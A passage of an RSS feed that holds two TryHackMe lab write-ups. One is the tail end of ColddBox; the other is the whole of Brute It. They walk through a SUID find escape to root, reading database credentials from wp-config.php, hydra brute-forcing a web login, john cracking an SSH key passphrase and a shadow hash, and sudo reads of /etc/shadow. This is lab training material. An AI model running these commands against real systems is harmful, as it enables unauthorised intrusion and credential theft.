/dev/null<br>/bin/su<br>/bin/ping6<br>/bin/ping<br>/bin/fusermount<br>/bin/umount<br>/bin/mount<br>/usr/bin/chsh<br>/usr/bin/gpasswd<br>/usr/bin/pkexec<br>/usr/bin/find<br>/usr/bin/sudo<br>/usr/bin/newgidmap<br>/usr/bin/newgrp<br>/usr/bin/at<br>/usr/bin/newuidmap<br>/usr/bin/chfn<br>/usr/bin/passwd<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/snapd/snap-confine<br>/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/lib/policykit-1/polkit-agent-helper-1<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper</pre><h3>3.1. SUID Bit: Find Binary</h3><p>Using <a href="https://gtfobins.github.io/gtfobins/find/#suid">GTFOBins — Find SUID</a>.</p><pre>www-data@ColddBox-Easy:/tmp$ find . -exec /bin/sh -p \; -quit<br>find . -exec /bin/sh -p \; -quit<br># id    <br>id<br>uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)</pre><p>With this, we can view both the user and root flags in the /home/c0ldd and the /root directory.</p><h3>3.2. Exploration + SUDO: 3 Paths</h3><p>Note how we have the user c0ldd. Could we try and getting some credentials? From other machines, I know wp-config.php is a juicy file. Exploring that,</p><pre>www-data@ColddBox-Easy:/var/www/html$ cat wp-config.php<br>cat wp-config.php<br>&lt;?php<br>/**<br> * The base configurations of the WordPress.<br> *<br> * This file has the following configurations: MySQL settings, Table Prefix,<br> * Secret Keys, and ABSPATH. You can find more information by visiting<br> * {@link http://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}<br> * Codex page. You can get the MySQL settings from your web host.<br> *<br> * This file is used by the wp-config.php creation script during the<br> * installation. You don&#39;t have to use the web site, you can just copy this file<br> * to &quot;wp-config.php&quot; and fill in the values.<br> *<br> * @package WordPress<br> */</pre><pre>// ** MySQL settings - You can get this info from your web host ** //<br>/** The name of the database for WordPress */<br>define(&#39;DB_NAME&#39;, &#39;colddbox&#39;);</pre><pre>/** MySQL database username */<br>define(&#39;DB_USER&#39;, &#39;c0ldd&#39;);</pre><pre>/** MySQL database password */<br>define(&#39;DB_PASSWORD&#39;, &#39;{i ate this, was too tasty}&#39;);</pre><pre>/** MySQL hostname */<br>define(&#39;DB_HOST&#39;, &#39;localhost&#39;);</pre><pre>{truncated}</pre><pre>define(&#39;WP_HOME&#39;, &#39;/&#39;);<br>define(&#39;WP_SITEURL&#39;, &#39;/&#39;);</pre><pre>/** Sets up WordPress vars and included files. */<br>require_once(ABSPATH . &#39;wp-settings.php&#39;);</pre><p>We have credentials for c0ldd!</p><pre>www-data@ColddBox-Easy:/var/www/html$ su c0ldd<br>su c0ldd<br>Password: {i hid this :P}</pre><pre>c0ldd@ColddBox-Easy:/var/www/html$ cd ~<br>cd ~<br>c0ldd@ColddBox-Easy:~$ sudo -l<br>sudo -l<br>[sudo] password for c0ldd: {yes I ate this too. Don&#39;t judge me ok}</pre><pre>Coincidiendo entradas por defecto para c0ldd en ColddBox-Easy:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</pre><pre>El usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy:<br>    (root) /usr/bin/vim<br>    (root) /bin/chmod<br>    (root) /usr/bin/ftp</pre><p>We see that we are allowed to run the 3 files as sudo. We use the following respectively for each of the binaries.</p><ol><li><a href="https://gtfobins.github.io/gtfobins/vim/#sudo">GTFOBins — vim SUDO</a></li><li><a href="https://gtfobins.github.io/gtfobins/chmod/#sudo">GTFOBins — chmod SUDO</a></li><li><a href="https://gtfobins.github.io/gtfobins/ftp/#sudo">GTFOBins — ftp SUDO</a></li></ol><p>This completes our room. System FULLY compromised!</p><p><em>Originally published at </em><a href="https://chaudhary1337.github.io/TryHackMe/ColddBox.html"><em>https://chaudhary1337.github.io</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7919fe9ff547" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Brute It Writeup]]></title>
            <link>https://chaudharycodes.medium.com/tryhackme-brute-it-writeup-c2a688561237?source=rss-f9ebac30cbd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2a688561237</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Tanishq Chaudhary]]></dc:creator>
            <pubDate>Wed, 09 Jun 2021 06:56:55 GMT</pubDate>
            <atom:updated>2021-06-09T06:56:55.697Z</atom:updated>
            <cc:license>https://creativecommons.org/publicdomain/mark/1.0/</cc:license>
            <content:encoded><![CDATA[<h4>Easy THM Room. Brute-Force, Hash-Crack and A Simple Priv-Esc</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/0*TyAeGLboesGH5kjR.jpg" /></figure><p><a href="https://tryhackme.com/room/bruteit">Play</a></p><p>We do the below scans in parallel.</p><h3>1. Scanning &amp; Enumeration</h3><p>We do the below scans in parallel.</p><h3>1.1. Port Scanning</h3><pre>Not shown: 998 closed ports<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 4b:0e:bf:14:fa:54:b3:5c:44:15:ed:b2:5d:a0:ac:8f (RSA)<br>|   256 d0:3a:81:55:13:5e:87:0c:e8:52:1e:cf:44:e0:3a:54 (ECDSA)<br>|_  256 da:ce:79:e0:45:eb:17:25:ef:62:ac:98:f0:cf:bb:04 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: OPTIONS HEAD GET POST<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Apache2 Ubuntu Default Page: It works<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Info gathered answers the following questions:</p><h4>How many ports are open?</h4><h4>What version of SSH is running?</h4><h4>What version of Apache is running?</h4><h4>Which Linux distribution is running?</h4><h3>1.2. Web Enumeration</h3><pre>┌──(kali㉿kali)-[~]<br>└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x &#39;php,html,txt,zip&#39; -t 64 -q -u 10.10.106.189<br>/index.html           (Status: 200) [Size: 10918]<br>/{hidden_directory}                (Status: 301) [Size: 314] [--&gt; <a href="http://10.10.106.189/hidden_directory/]">http://10.10.106.189/{hidden_directory}/]</a></pre><p>Flags:</p><ul><li>-w: Wordlist</li><li>-x: eXtensions</li><li>-t: Threads</li><li>-q: Quiet</li><li>-u: Url</li></ul><p>index.html is the default ubuntu homepage for apache service. Nothing special.</p><h4>Search for hidden directories on web server. What is the hidden directory?</h4><p>This is the directory that is hidden above.</p><h3>1.3. Web Exploration</h3><p>In the hidden directory we get the login panel. Looking at the source code, we get 2 interesting pieces of information:</p><ul><li>name of username and password fields (useful) in bruteforcing</li><li>username in a comment XD</li></ul><figure><img alt="login panel, showing option to enter login and password" src="https://cdn-images-1.medium.com/max/644/0*Rn83hA4oBjFPeo03.png" /></figure><h3>1.4. Brute-Force</h3><p>From the source we have the variables: user and pass for username and password respectively.</p><p>hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.160.189 http-post-form &quot;/{hidden_directory}/:user=^USER^&amp;pass=^PASS^:invalid&quot; -t 32</p><p>Flags:</p><ul><li>-l: for single login</li><li>-P: for a password list</li><li>http-form-post: POST request for a http form</li><li>the syntax for http-form-post is divided into three parts by two “:”s — as “x:y:z”</li><li>x: path to hidden directory</li><li>y: user and pass parameter specification</li><li>z: failure status. Note how “invalid” is a substring present in the failure message.</li></ul><h4>What is the user:password of the admin panel?</h4><p>Using Hydra, we can find the password.</p><pre>┌──(kali㉿kali)-[~]<br>└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.98.224 http-post-form &quot;/{hidden_directory}/:user=^USER^&amp;pass=^PASS^:invalid&quot; -t 64 -vv<br>Hydra v9.1 (c) 2020 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).</pre><pre>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-09 02:16:45<br>[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task<br>[DATA] attacking http-post-form://10.10.98.224:80/{hidden_directory}/:user=^USER^&amp;pass=^PASS^:invalid<br>[VERBOSE] Resolving addresses ... [VERBOSE] resolving done<br>[VERBOSE] Page redirected to http://10.10.98.224/{hidden_directory}/panel<br>[VERBOSE] Page redirected to http://10.10.98.224/{hidden_directory}/panel/<br>[80][http-post-form] host: 10.10.98.224   login: admin   password: {password}<br>[STATUS] attack finished for 10.10.98.224 (waiting for children to complete tests)<br>1 of 1 target successfully completed, 1 valid password found<br>Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-09 02:17:05</pre><h3>2. Foothold</h3><p>Logging in, we get the following.</p><ul><li>the web flag</li><li>RSA private key</li></ul><p>Download the rsa key, save it. Change the permissions to 600, as chmod 600 id_rsa.</p><p>Trying to login gives us:</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ ssh -i id_rsa john@10.10.98.224<br>Enter passphrase for key &#39;id_rsa&#39;:</pre><p>We need a passphrase. For that, we use ssh2john.</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ locate ssh2john<br>/usr/share/john/ssh2john.py<br>                                                                                                                                 <br>┌──(kali㉿kali)-[/tmp]<br>└─$ /usr/share/john/ssh2john.py id_rsa &gt; hash<br>                                                                                                                                 <br>┌──(kali㉿kali)-[/tmp]<br>└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])<br>Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes<br>Cost 2 (iteration count) is 1 for all loaded hashes<br>Will run 6 OpenMP threads<br>Note: This format may emit false positives, so it will keep trying even after<br>finding a possible candidate.<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>{hidden}       (id_rsa)<br>1g 0:00:00:05 DONE (2021-06-09 02:16) 0.1876g/s 2690Kp/s 2690Kc/s 2690KC/s     1990..*7¡Vamos!<br>Session completed</pre><h4>What is John’s RSA Private Key passphrase?</h4><p>Run JtR to bruteforce id_rsa’s passphrase</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ ssh -i id_rsa john@10.10.98.224<br>Enter passphrase for key &#39;id_rsa&#39;: <br>Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-118-generic x86_64)</pre><pre> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage</pre><pre> System information disabled due to load higher than 1.0<br></pre><pre>63 packages can be updated.<br>0 updates are security updates.<br></pre><pre>Last login: Wed Sep 30 14:06:18 2020 from 192.168.1.106<br>john@bruteit:~$</pre><p>We are in!</p><h3>3. PrivEsc</h3><pre>john@bruteit:~$ sudo -l<br>Matching Defaults entries for john on bruteit:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</pre><pre>User john may run the following commands on bruteit:<br>    (root) NOPASSWD: /bin/cat<br>john@bruteit:~$ sudo /bin/cat /root/root.txt<br>THM{hidden}</pre><p>And we get the root flag!</p><p>How about the password?</p><pre>john@bruteit:/$ cat /etc/shadow<br>cat: /etc/shadow: Permission denied<br>john@bruteit:/$ sudo cat /etc/shadow<br>root:{interesting_info_was_here}<br>daemon:*:18295:0:99999:7:::<br>bin:*:18295:0:99999:7:::<br>sys:*:18295:0:99999:7:::<br>...</pre><p>We get the sha-3 hash and then crack using JtR again.</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])<br>Cost 1 (iteration count) is 5000 for all loaded hashes<br>Will run 6 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>{hidden}         (root)<br>1g 0:00:00:00 DONE (2021-06-09 02:30) 5.882g/s 4517p/s 4517c/s 4517C/s 123456..james1<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed</pre><h4>What is the root’s password?</h4><p>We can answer this using the above</p><h4>root.txt</h4><p>ditto</p><p>And we are done!</p><p><em>Originally published at </em><a href="https://chaudhary1337.github.io/TryHackMe/BruteIt.html"><em>https://chaudhary1337.github.io</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2a688561237" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>